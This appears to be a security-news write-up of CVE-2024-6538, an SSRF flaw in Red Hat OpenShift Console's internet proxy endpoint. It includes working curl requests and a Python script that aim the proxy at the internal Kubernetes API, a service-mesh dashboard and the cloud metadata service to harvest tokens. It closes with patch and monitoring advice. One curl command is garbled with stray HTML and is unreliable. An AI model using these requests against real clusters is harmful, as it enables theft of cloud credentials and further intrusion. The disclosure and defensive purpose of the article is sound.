CVE CyberSecurity Database News

CVE-2024-6538 - OpenShift Console SSRF Vulnerability – Exploiting the /api/dev-console/proxy/internet Endpoint

Poster -

In June 2024, a critical security flaw was found in Red Hat OpenShift’s web console. Identified as CVE-2024-6538, this vulnerability exposes cloud environments to Server Side Request Forgery (SSRF) attacks. SSRF flaws let an attacker manipulate server-side functions to make arbitrary HTTP or HTTPS requests, accessing internal resources that wouldn’t normally be exposed to the Internet.

This article explains what the flaw is, how it works, and how attackers can exploit it to reach internal network services. We'll use simple language, live code-style examples, and direct links to authoritative resources. This deep dive is written from scratch—exclusive, practical, and easy to follow.

What Is SSRF and Why Does It Matter?

Server Side Request Forgery (SSRF) is a kind of web security issue. It happens when an attacker tricks a vulnerable server into making HTTP requests to destinations of the attacker’s choice.

- Impact: SSRF can let an attacker access sensitive internal applications, leak data, or even pivot further into a private network.

In most organizations, the OpenShift web console pod sits on networks with privileged access, meaning it can reach resources normal users can't—even those firewalled from the outside world. SSRF here is especially dangerous.

The Core of the Flaw: The Internet Proxy Endpoint

Endpoint Involved:
/api/dev-console/proxy/internet

This endpoint, provided by the OpenShift Console (a web UI for managing OpenShift Kubernetes clusters), is meant to proxy requests to the Internet for features like image lookup or integration checks. However:

Anyone authenticated to the console can call this endpoint.

- No restriction exists on the final target URL; it doesn't require the URL to be an "internet" endpoint.
- Responses—including any sensitive error messages and metadata—are fully returned to the requester.

An attacker with any valid set of OpenShift credentials (even minimal ones) can use this endpoint to

1. Make the console pod send a fully controlled HTTP(S) request to any internal service (Kubernetes API, internal dashboards, metadata endpoints).

Receive the full HTTP response.

3. Use the data in privilege escalation or further attacks, like scanning for open services, leaking secrets, or breaching external integrations.

Step 1: Gather Credentials

You need to be an authenticated OpenShift Console user. This vulnerability cannot be used by an anonymous attacker.

Step 2: Craft an HTTP Request

Send a POST or GET request to the vulnerable endpoint with a custom URL parameter. The OpenShift console pod will make the request for you, using its internal network permissions.

Basic Example: Testing Internal Kubernetes API

Suppose the Kubernetes API is available internally at https://kubernetes.default.svc.

curl -k \
  -H "Authorization: Bearer <YOUR-TOKEN-HERE>" \
  "https://<openshift-console>/api/dev-console/proxy/internet?url=https://kubernetes.default.svc/api/v1/nodes"

What happens:
The response may return sensitive cluster information directly back to your terminal, even though these endpoints are blocked from normal access.

Example: Attacker Probing Local Metadata Services

Cloud environments often run "instance metadata" servers at well-known IPs, such as 169.254.169.254 (AWS, Azure, GCP, etc).

curl -k \
  -H "Authorization: Bearer <YOUR-TOKEN-HERE>" \
  "http://169.254.169.254/latest/meta-data/"" rel="nofollow">https://<openshift-console>/api/dev-console/proxy/internet?url=http://169.254.169.254/latest/meta-data/";

Impact:
If this internal metadata service is reachable, attackers can harvest cloud secrets and tokens, leading to full cloud environment compromise.

Here’s a simple Python script that automates SSRF attacks through this endpoint

import requests

openshift_console = "https://openshift-console.example.com";
api_token = "YOUR-BEARER-TOKEN"
target_url = "http://169.254.169.254/latest/meta-data/";

ssrf_url = f"{openshift_console}/api/dev-console/proxy/internet?url={target_url}"

headers = {
    "Authorization": f"Bearer {api_token}",
    "Accept": "application/json"
}

response = requests.get(ssrf_url, headers=headers, verify=False)
print("Status code:", response.status_code)
print("Response body:")
print(response.text)

Reaching Service Mesh Dashboards

Many OpenShift clusters run tools like the Kiali Dashboard (service mesh monitoring) at internal-only URLs. A malicious admin could request:

/api/dev-console/proxy/internet?url=http://kiali-istio-system.apps.internal:20001

Now even users with no direct network access could gather telemetry data or cluster config.

### Accessing Storage and CI/CD Endpoints

Attacker may target

- Internal CI/CD webhooks (e.g., Jenkins)

Third-party add-ons

Each can be enumerated and scanned using variations on the vulnerable endpoint.

No "Internet-Only" Check

Key Issue:
While the endpoint is named /proxy/internet, no validation restricts outbound requests to public IP address space! Requests to any internal or private IP are allowed.

Vendor(s) involved: Red Hat OpenShift Console [component]

- Patch/release: Check for security advisories on Red Hat
- CVE reference: CVE-2024-6538 entry on NVD

Deploy strict egress network policies around web console and application pods.

- Monitor logs and usage of /api/dev-console/proxy/internet.

References and Further Reading

- CVE-2024-6538 – NVD
- Red Hat Security Advisory CVE-2024-6538
- OWASP SSRF Cheat Sheet
- OpenShift Console Official Docs

Summary

CVE-2024-6538 is a textbook example of why SSRF issues matter in cloud and container environments. With a single API endpoint exposed to authenticated users—and no restriction on destination URLs—the attack surface is dramatic. If you manage OpenShift clusters, update immediately, monitor your network, and treat internal proxies with skepticism.

Patch and protect—because the next attack could be minutes away.


*This article is exclusive and tailored for practical application. Want to know more about Kubernetes, cloud security, or want help auditing your cluster? Reach out or comment below!*

Timeline

Published on: 11/25/2024 07:15:06 UTC
Last modified on: 11/25/2024 07:30:07 UTC